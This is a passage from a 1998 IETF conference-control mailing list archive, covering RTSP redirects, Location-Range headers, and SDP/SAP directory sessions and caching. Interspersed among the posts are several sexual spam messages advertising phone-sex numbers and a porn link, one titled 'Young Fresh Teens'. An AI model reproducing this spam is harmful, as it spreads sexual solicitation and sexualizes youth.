Subject: My slides at the 42nd IETF: SIP and XML.ppt
Date: Fri, 4 Sep 1998 14:34:40 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

URL to the slides that I presented at the 42nd IETF about SIP and XML

ftp://nyquist.mediatrix.com/42ndietf_fmenard_sip_and_xml.pdf  
ftp://nyquist.mediatrix.com/42ndietf_fmenard_sip_and_xml.ppt


-=Francois=-
--
fmenard@mediatrix.com



From confctrl-owner  Sat Sep  5 21:13:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28098
	for confctrl-outgoing; Sat, 5 Sep 1998 21:13:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28093
	for <confctrl@zephyr.isi.edu>; Sat, 5 Sep 1998 21:13:44 -0700 (PDT)
Received: from eurosat.com (root@[207.159.154.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA24546
	for <confctrl@isi.edu>; Sat, 5 Sep 1998 21:13:43 -0700 (PDT)
From: Hot-Pink-Muff@webmail.bellsouth.net
Received: from i-q4xnihl (ip238.belair.md.pub-ip.psi.net [38.14.57.238])
	by eurosat.com (8.8.5/8.8.5) with SMTP id BAA14527;
	Sun, 6 Sep 1998 01:19:12 GMT
Date: Sun, 6 Sep 1998 01:19:12 GMT
Message-Id: <199809060119.BAA14527@eurosat.com>
To: suzy@webmail.bellsouth.net
Subject: Young Fresh Teens
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<A HREF="http://redlightdistrict.xxxcity.net/228/page2.html">Click here for hot wet nasty PHONE SEX!!</a>




From confctrl-owner  Sun Sep  6 23:33:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29133
	for confctrl-outgoing; Sun, 6 Sep 1998 23:33:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29117
	for <confctrl@zephyr.isi.edu>; Sun, 6 Sep 1998 23:33:06 -0700 (PDT)
Received: from casey.necrinc.com ([206.102.255.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA06966;
	Sun, 6 Sep 1998 23:33:03 -0700 (PDT)
Date: Sun, 6 Sep 1998 23:33:03 -0700 (PDT)
From: HotPhoneLove@mci.com
Message-Id: <199809070633.XAA06966@tnt.isi.edu>
Received: from fjs8k (ip204.belair.md.pub-ip.PSI.NET [38.14.57.204]) by casey.necrinc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id RJDYFH06; Sun, 6 Sep 1998 21:44:16 -0400
To: every@aol.com
Subject: Hot Wet Nasty Phone Sex
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial <b><i> 1-664-410-4979.</b></i> Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is <b> 1-664-410-4979.</b> If busy try <b> 1-664-410-3549 or 1-784-490-3388 </b>

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.

From confctrl-owner  Tue Sep  8 14:18:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA05019
	for confctrl-outgoing; Tue, 8 Sep 1998 14:18:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA05010
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 14:18:21 -0700 (PDT)
Received: from ns1.allinfosys.com (ns1.allinfosys.com [207.55.155.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00749;
	Tue, 8 Sep 1998 14:18:07 -0700 (PDT)
Date: Tue, 8 Sep 1998 14:18:07 -0700 (PDT)
From: HotPhoneLove@mci.com
Message-Id: <199809082118.OAA00749@tnt.isi.edu>
Received: from fjs8k ([38.14.57.106]) by ns1.allinfosys.com
          (post.office MTA v2.0 0813 ID# 0-11221) with SMTP id AAF347;
          Mon, 7 Sep 1998 10:37:49 -0500
To: every@aol.com
Subject: Hot Wet Nasty Phone Sex
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial <b><i> 1-664-410-4979.</b></i> Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is <b> 1-664-410-4979.</b> If busy try <b> 1-664-410-3549 or 1-784-490-3388 </b>

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.

From confctrl-owner  Tue Sep  8 16:42:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA09927
	for confctrl-outgoing; Tue, 8 Sep 1998 16:42:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA09922
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 16:42:51 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA15574
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 16:42:48 -0700 (PDT)
Received: from cisco.com (dhcp-vm11-86-234.cisco.com [171.69.86.234]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id QAA04898; Tue, 8 Sep 1998 16:42:13 -0700 (PDT)
Message-ID: <35F5C01B.B093C4D6@cisco.com>
Date: Tue, 08 Sep 1998 16:39:07 -0700
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Ram Kordale <kordale@relic.engr.sgi.com>
CC: Stephen Casner <casner@cisco.com>, confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
References: <Pine.SO4.4.00.9809032247260.2946-100000@little-bear.precept.com> <9809040856.ZM23684@relic.engr.sgi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ram Kordale wrote:
> 
> On Sep 3, 10:55pm, Stephen Casner wrote:
> > Subject: Re: REDIRECT in RTSP
> > > The expected model is that the client goes to server1, gets redirected
> > > to server2 via a 3xx response(and location info). It then makes the same
> > > request to server2, which is treated as a new session.
> >
> > This procedure is what we implemented at Precept (now Cisco), though
> > the exchange happens at the DESCRIBE stage rather than SETUP.
> >
> > There was one consideration that we ran across that I think is not
> > discussed anywhere: we've returned a cookie from the initial server to
> > be included in the redirected request to the second server so the
> > latter can verify that the request did go through the initial server.
> > The method for doing this is not standardized.
> >                                                       -- Steve
> >-- End of excerpt from Stephen Casner
> 
> Exactly. Something like this is what we are looking for though the server
> should be able to return the cookie while responding to SETUP as well.

There is a difference between what you are suggesting and the above.
What Steve has described does not imply spanning a session between two
servers. Any resources are setup only when server2 receives a request
from the client, and not server1.

> The proxy model tends to make the front end server "a bottleneck".

This point is understood, but does not seem to me to be a pivotal one.
If the proxy has to see(ie redirect) the first request anyway, doing an
average of 2-3 more during the life of the playback does not seem a
whole lot. See more arguments below. 


> The redirection model expected by the spec has the following problems:
> 1) Extra round trip. 
Agreed. For the first request only.

> 2) More importantly, the client's request can potentially be redirected a
> number of times. For example, when the client's request arrives at the server
> to which it was redirected:
>   a) may be loaded when the client's request arrives.
>   b) the media asset on the second server is staged to tertiary storage.
> This may require the client to be redirected again.

I dont understand how spanning the session across 2  servers solves this
problem. If the client goes to server1, who then makes the request to
server2 in your model, what prevents server2 from being redirected.

> 3) Possible duplication of work such as re-authenticating etc.
> Thus, spanning the notion of session across the connection to the two servers
> can help. Again, one could do this outside RTSP but it seems worthwhile to get
> this into the spec.
> 
> Thanks.
> Ram

I'm arguing that this may not be a good idea. Reasons :

a) Most importantly, it will break current implementations since these
expect nothing to have been setup on receiving a 3xx response. (If no
implementors object, then it is a different issue...)
b) The benefit seems to be  one round-trip only for the first request.
If a) is true, then it does not seem worth it.

-Anup.

From confctrl-owner  Tue Sep  8 16:54:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA10232
	for confctrl-outgoing; Tue, 8 Sep 1998 16:54:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA10227
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 16:54:11 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA16600
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 16:54:00 -0700 (PDT)
Received: from cisco.com (dhcp-vm11-86-234.cisco.com [171.69.86.234]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id QAA05301; Tue, 8 Sep 1998 16:52:56 -0700 (PDT)
Message-ID: <35F5C29F.CA4590BC@cisco.com>
Date: Tue, 08 Sep 1998 16:49:51 -0700
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Jeffrey Lo <jlo@ccrl.sj.nec.com>
CC: confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
References: <Pine.SOL.3.95.980904103807.11543C-100000@monet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jeffrey Lo wrote:
> 
> Hi,
> I have a related question. Let's say in the following scenario:
> 
> RTSP clients always talk to server A which then replies with REDIRECT to
> the respective media servers (Anup's scenario). For load balancing and
> scalability of a popular title, if we have an architecture where different
> portion of a long presentation is located on different media servers, is
> there anyway to carry this information within a single REDIRECT response?
> Server A now needs to inform client not only location of the media
> servers, but also the portion of the presentation each media server
> stores.

Jeffrey,

I dont believe what you have asked for is currently possible. The
Location header in 3xx(redirect) responses and REDIRECT requests comes
from HTTP, and it is my understanding that there can be only one of
them.

The options that I see are :

a) Enhance the RTSP spec to allow multiple Location-Range header pairs.
b) The client goes to server1 and plays section1 of the clip. At some
point, server1 then sends a REDIRECT request to the client, sending it
to server2 after section1 and so on.
c) Use another session description type in response to DESCRIBE, that
can convey the fact the the clip is available from N different servers.
I dont think SDP can do this. One option is
SMIL(http://www.w3.org/AudioVideo/)


-Anup.

From confctrl-owner  Tue Sep  8 17:02:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA10556
	for confctrl-outgoing; Tue, 8 Sep 1998 17:02:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA10551
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 17:02:10 -0700 (PDT)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA17851
	for <confctrl@isi.edu>; Tue, 8 Sep 1998 17:02:04 -0700 (PDT)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy3.ba.best.com (8.9.0/8.9.0/best.out) with SMTP id QAA12649
	for <confctrl@isi.edu>; Tue, 8 Sep 1998 16:58:14 -0700 (PDT)
Message-Id: <3.0.5.16.19980908165409.20ffdc48@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Tue, 08 Sep 1998 16:54:09
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: FYI: Experimental "directory" sessions currently being
  announced
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At the MMUSIC session at the Washington DC IETF (and earlier, at the March
1996 Los Angeles IETF) I described how SDP can readily be used to announce
sessions that are themselves directories, by using a new SDP "directory"
media type - i.e. m=directory <port#> SAP SDP

As an experiment, I have begun announcing three such directory sessions:
"Test Sessions", "Lectures and Conferences", and "Music".  (I have also
begun populating the latter two directories by reannouncing some relevant
session announcements from the main SDP directory.)

To be able to launch these directory session announcements, your SDP/SAP
browser must support the "directory" media type.  At present the only
browser I know of that does this is multikit -
<http://www.live.com/multikit/> - but other browsers, such as "sdr", might
also be able to do so using a 'plug in'.  (For this to work, the browser
would need the ability to open a new directory window that uses a distinct
multicast group/port - perhaps by launching a separate instance of the
application.  I don't know whether or not "sdr" supports this...)

Feel free to experiment with announcing sessions to these directories,
and/or making new directory announcements.

Sometime soon I'll be putting together an RFC describing this new SDP media
type.

During the discussion of directory sessions in the Washington DC IETF, a
couple of issues were raised.  The first issue (raised by Dave Singer, I
believe) was a legitimate concern about the ephemeral nature of directory
announcements (as opposed to the 'hard-wired' default directory).  If you
choose to make an announcement into such a directory, you're not going to
be happy if the directory itself should suddenly stop being announced
(e.g., because the host that created the directory announcement happens to
go down).

Fortunately this problem has a straightforward solution:  If you make an
announcement A into a directory D1 that you know is also being announced as
a session in another directory D2, then in addition to announcing A in D1,
you can also participate in announcing D1 in D2.  This way, you'll be
assured that not only will your announcement A remain visible, but also
that the directory into which it's being announced will remain visible.

The second issue raised in Washington DC was a more general concern that
some people had about the possibility of the default SDP directory (&
perhaps other directories) becoming cluttered with frivilous directory
announcements.  (For instance, someone made the analogy to the rash of
silly alt.* newsgroups.)  This is something that we should keep an eye on,
although for now at least, it doesn't seem likely to be a problem.
(Unfortunately, SDP/SAP appears to be far from becoming a 'success
disaster' :-(  In the future, however, as SDP/SAP becomes just one facet of
a more general multicast data architecture, we may wish to consider
allowing a directory to impose some sort of access control (e.g., using
digital signatures) over what gets announced into it.

	Ross.


From confctrl-owner  Tue Sep  8 17:16:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA11301
	for confctrl-outgoing; Tue, 8 Sep 1998 17:16:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA11296
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 17:16:25 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA19941
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 17:16:22 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id UAA09478; Tue, 8 Sep 1998 20:15:42 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: FYI: Experimental "directory" sessions currently being announced 
In-reply-to: Your message of "Tue, 08 Sep 1998 16:54:09."
             <3.0.5.16.19980908165409.20ffdc48@shell7.ba.best.com> 
Date: Tue, 08 Sep 1998 20:15:42 -0400
Message-ID: <9476.905300142@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>At the MMUSIC session at the Washington DC IETF (and earlier, at the March
>1996 Los Angeles IETF) I described how SDP can readily be used to announce
>sessions that are themselves directories, by using a new SDP "directory"
>media type - i.e. m=directory <port#> SAP SDP

>...I don't know whether or not "sdr" supports this...)

You can't do this with just a plugin, but the change is pretty trivial
for sdr to support it.  I haven't done it for the reason below...

>The second issue raised in Washington DC...

Actually neither of these issues was the main objection raised in DC.
The biggest problem is to do with joining a directory and expecting to
see all the sessions associated with that directory immediately.  You
simply wont - you'll have to wait a number of minutes to see the
sessions in the new directory.

The only way to avoid this is to make use of local caches which update
you when you join the new directory, but then you end up drawing all
the traffic to your site all the time just to keep the caches
populated in case you might want to join.  Thus there's little
difference in bandwidth over just sending all the sessions to the main
SAP group.

As it is, I'd rather see tools making use of the category attribute on
a single group until we start to have a success disaster and need to
reengineer the protocols.  Even making better use of the type
attribute which lets sdr filter out all the unwanted "Test" sessions
would be a big help right now.

Cheers,
	Mark



From confctrl-owner  Tue Sep  8 21:05:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA18185
	for confctrl-outgoing; Tue, 8 Sep 1998 21:05:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18180
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 21:05:28 -0700 (PDT)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA04519
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 21:05:27 -0700 (PDT)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy3.ba.best.com (8.9.0/8.9.0/best.out) with SMTP id VAA01779
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 21:02:24 -0700 (PDT)
Message-Id: <3.0.5.16.19980908205823.20ff8c92@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Tue, 08 Sep 1998 20:58:23
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: FYI: Experimental "directory" sessions currently being
  announced 
In-Reply-To: <9476.905300142@north.lcs.mit.edu>
References: <Your message of "Tue, 08 Sep 1998 16:54:09."             <3.0.5.16.19980908165409.20ffdc48@shell7.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 08:15 PM 9/8/98 -0400, Mark Handley wrote:
>Actually neither of these issues was the main objection raised in DC.
>The biggest problem is to do with joining a directory and expecting to
>see all the sessions associated with that directory immediately.  You
>simply wont - you'll have to wait a number of minutes to see the
>sessions in the new directory.

No, this is actually a red herring, because it applies to *any* SAP
directory, including the default directory.  People see the same thing when
they start their SDP/SAP browsers ("sdr" or whatever) for the first time.

Because the protocol (SAP) that these directories use doesn't provide
'instant gratification', then one could argue that a browser's user
interface should indicate this in some way - e.g., with a banner saying
something like "waiting for announcements" before the first one arrives.

But this really isn't that big a deal.  And it certainly wasn't one of the
major issues that arose when we discussed directory announcements in the DC
IETF.

	Ross.


From confctrl-owner  Tue Sep  8 21:33:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA18829
	for confctrl-outgoing; Tue, 8 Sep 1998 21:33:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18824
	for <confctrl@zephyr.isi.edu>; Tue, 8 Sep 1998 21:33:13 -0700 (PDT)
Received: from dns3.nec.com (dns2.nec.com [131.241.15.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA05874
	for <confctrl@ISI.EDU>; Tue, 8 Sep 1998 21:33:12 -0700 (PDT)
Received: from netkeeper.sj.nec.com (netkeeper.sj.nec.com [131.241.31.2])
	by dns3.nec.com (8.9.1/8.9.1) with ESMTP id VAA15319;
	Tue, 8 Sep 1998 21:32:41 -0700 (PDT)
Received: from necccrl-pn.ccrl.sj.nec.com (necccrl-pn.ccrl.sj.nec.com [131.241.249.2])
	by netkeeper.sj.nec.com (8.8.8/8.8.8) with ESMTP id VAA14469;
	Tue, 8 Sep 1998 21:26:15 -0700 (PDT)
Received: (from smtp@localhost) by necccrl-pn.ccrl.sj.nec.com (8.8.5/8.7.3) id VAA10204; Tue, 8 Sep 1998 21:22:24 -0700 (PDT)
Received: from ccrl.sj.nec.com (monet.ccrl.sj.nec.com [131.241.79.5]) by necccrl-pn.ccrl.sj.nec.com id rfVAA10198; Tue Sep  8 21:19:15 1998
X-Spoof-Warning: ccrl.sj.nec.com [131.241.79.5] does not match with monet.ccrl.sj.nec.com [131.241.79.5]
Received: from localhost by ccrl.sj.nec.com (SMI-8.6/SMI-SVR4)
	id VAA08976; Tue, 8 Sep 1998 21:29:01 -0700
Date: Tue, 8 Sep 1998 21:29:01 -0700 (PDT)
From: Jeffrey Lo <jlo@ccrl.sj.nec.com>
To: Anup Rao <anrao@cisco.com>
cc: Jeffrey Lo <jlo@ccrl.sj.nec.com>, confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
In-Reply-To: <35F5C29F.CA4590BC@cisco.com>
Message-ID: <Pine.SOL.3.95.980908204432.926F-100000@monet>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi Anup,

> I dont believe what you have asked for is currently possible. The
> Location header in 3xx(redirect) responses and REDIRECT requests comes
> from HTTP, and it is my understanding that there can be only one of
> them.

I agree. This is what I think.

> The options that I see are :
>
> a) Enhance the RTSP spec to allow multiple Location-Range header pairs.
Unlike HTTP, RTSP manages resources that span over long duration and has
high likelihood for a resource to be distributed over multiple locations.
Restricting to a single Location header similar to HTTP would limit the
capability of RTSP. Having Location-Range header pairs, on the other hand, 
would be a good solution and it does not interfere with current
implementations.

> b) The client goes to server1 and plays section1 of the clip. At some
> point, server1 then sends a REDIRECT request to the client, sending it
> to server2 after section1 and so on.

This is technically feasible. But it would be tedious from the content
management point of view. Updating a single title in this case would
demand updating the database on each media server. Also, media servers
would be loaded the unnecessary overhead of timer management for each
session requesting distributed resource.

> c) Use another session description type in response to DESCRIBE, that
> can convey the fact the the clip is available from N different servers.
> I dont think SDP can do this. One option is
> SMIL(http://www.w3.org/AudioVideo/)

This is also a solution. But a solution base on this approach alone may
restrict the type of session description format usable by a distributed
resource. I don't see any contradictions in having a) and c)
implemented simultaneously.

Hence the possibility of multiple Location-Range header pairs would be a
nice feature to have within RTSP. 

> Jeffrey Lo wrote:
> > 
> > Hi,
> > I have a related question. Let's say in the following scenario:
> > 
> > RTSP clients always talk to server A which then replies with REDIRECT to
> > the respective media servers (Anup's scenario). For load balancing and
> > scalability of a popular title, if we have an architecture where different
> > portion of a long presentation is located on different media servers, is
> > there anyway to carry this information within a single REDIRECT response?
> > Server A now needs to inform client not only location of the media
> > servers, but also the portion of the presentation each media server
> > stores.
> 
> Jeffrey,


From confctrl-owner  Wed Sep  9 02:03:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA25779
	for confctrl-outgoing; Wed, 9 Sep 1998 02:03:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA25768
	for <confctrl@zephyr.isi.edu>; Wed, 9 Sep 1998 02:03:14 -0700 (PDT)
Received: from postal.pfmc.net (postal.pfmc.net [204.254.224.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA21472;
	Wed, 9 Sep 1998 02:03:12 -0700 (PDT)
From: HotPhoneLove@mci.com
Received: from fjs8k (ip70.belair.md.pub-ip.psi.net [38.14.57.70])
	by postal.pfmc.net (8.8.7/8.8.7) with SMTP id SAA21681;
	Tue, 8 Sep 1998 18:24:28 -0400 (EDT)
Date: Tue, 8 Sep 1998 18:24:28 -0400 (EDT)
Message-Id: <199809082224.SAA21681@postal.pfmc.net>
To: every@aol.com
Subject: Hot Wet Nasty Phone Sex
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


From confctrl-owner  Wed Sep  9 02:13:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA26037
	for confctrl-outgoing; Wed, 9 Sep 1998 02:13:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA26032
	for <confctrl@zephyr.isi.edu>; Wed, 9 Sep 1998 02:13:15 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA21856
	for <confctrl@ISI.EDU>; Wed, 9 Sep 1998 02:13:05 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06847-0@bells.cs.ucl.ac.uk>; Wed, 9 Sep 1998 10:11:53 +0100
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: FYI: Experimental "directory" sessions currently being announced
In-reply-to: Your message of "Tue, 08 Sep 1998 20:58:23." <3.0.5.16.19980908205823.20ff8c92@shell7.ba.best.com>
Date: Wed, 09 Sep 1998 10:11:52 +0100
Message-ID: <882.905332312@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Ross Finlayson writes:
>At 08:15 PM 9/8/98 -0400, Mark Handley wrote:
>>Actually neither of these issues was the main objection raised in DC.
>>The biggest problem is to do with joining a directory and expecting to
>>see all the sessions associated with that directory immediately.  You
>>simply wont - you'll have to wait a number of minutes to see the
>>sessions in the new directory.
>
>No, this is actually a red herring, because it applies to *any* SAP
>directory, including the default directory.  People see the same thing when
>they start their SDP/SAP browsers ("sdr" or whatever) for the first time.

It makes the problem worse, since I can't start listening for announcements
in the sub-directory until I've seen the sub-directory being announced. I'd
say it's probably not a big deal, since any domain which cares about the
startup latency will have a local proxy cache anyway... 

Colin

From confctrl-owner  Wed Sep  9 07:05:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04124
	for confctrl-outgoing; Wed, 9 Sep 1998 07:05:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04119
	for <confctrl@zephyr.isi.edu>; Wed, 9 Sep 1998 07:05:23 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA07900
	for <confctrl@ISI.EDU>; Wed, 9 Sep 1998 07:05:19 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA10424; Wed, 9 Sep 1998 10:05:16 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: FYI: Experimental "directory" sessions currently being announced 
In-reply-to: Your message of "Tue, 08 Sep 1998 20:58:23."
             <3.0.5.16.19980908205823.20ff8c92@shell7.ba.best.com> 
Date: Wed, 09 Sep 1998 10:05:16 -0400
Message-ID: <10422.905349916@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>At 08:15 PM 9/8/98 -0400, Mark Handley wrote:
>>Actually neither of these issues was the main objection raised in DC.
>>The biggest problem is to do with joining a directory and expecting to
>>see all the sessions associated with that directory immediately.  You
>>simply wont - you'll have to wait a number of minutes to see the
>>sessions in the new directory.
>
>No, this is actually a red herring, because it applies to *any* SAP
>directory, including the default directory.  People see the same thing when
>they start their SDP/SAP browsers ("sdr" or whatever) for the first time.

SAP was always intended to be run by tools that run continuously or
get an update from a local cache on startup.  Either you leave your
sdr running, or you implement local caching servers.  We discussed a
protocol for talking to local caches several times in MMUSIC (eg
ftp://ftp.isi.edu/confctrl/minutes/slides.12.95.Z in sdap.12.95.ps
and ftp://ftp.isi.edu/confctrl/minutes/slides.3.96.tar.Z in sdap.3.96.ps).
Caches were always intended to be part of the architecture but there
were always higher priority tasks and no great community pressure to
do the local-area part.  I even wrote such a caching server and
protocol for sdr at one stage, but never quite found the time to
finish it properly :-(

The problem is that multiple groups and local caching servers are at
odds with each other.  How does a caching server know which groups to
cache in advance of your joining that directory?  The temptation will
be to cache all directories, and that's directly equivalent to using a
single group.

Mark




From confctrl-owner  Wed Sep  9 09:35:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10372
	for confctrl-outgoing; Wed, 9 Sep 1998 09:35:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
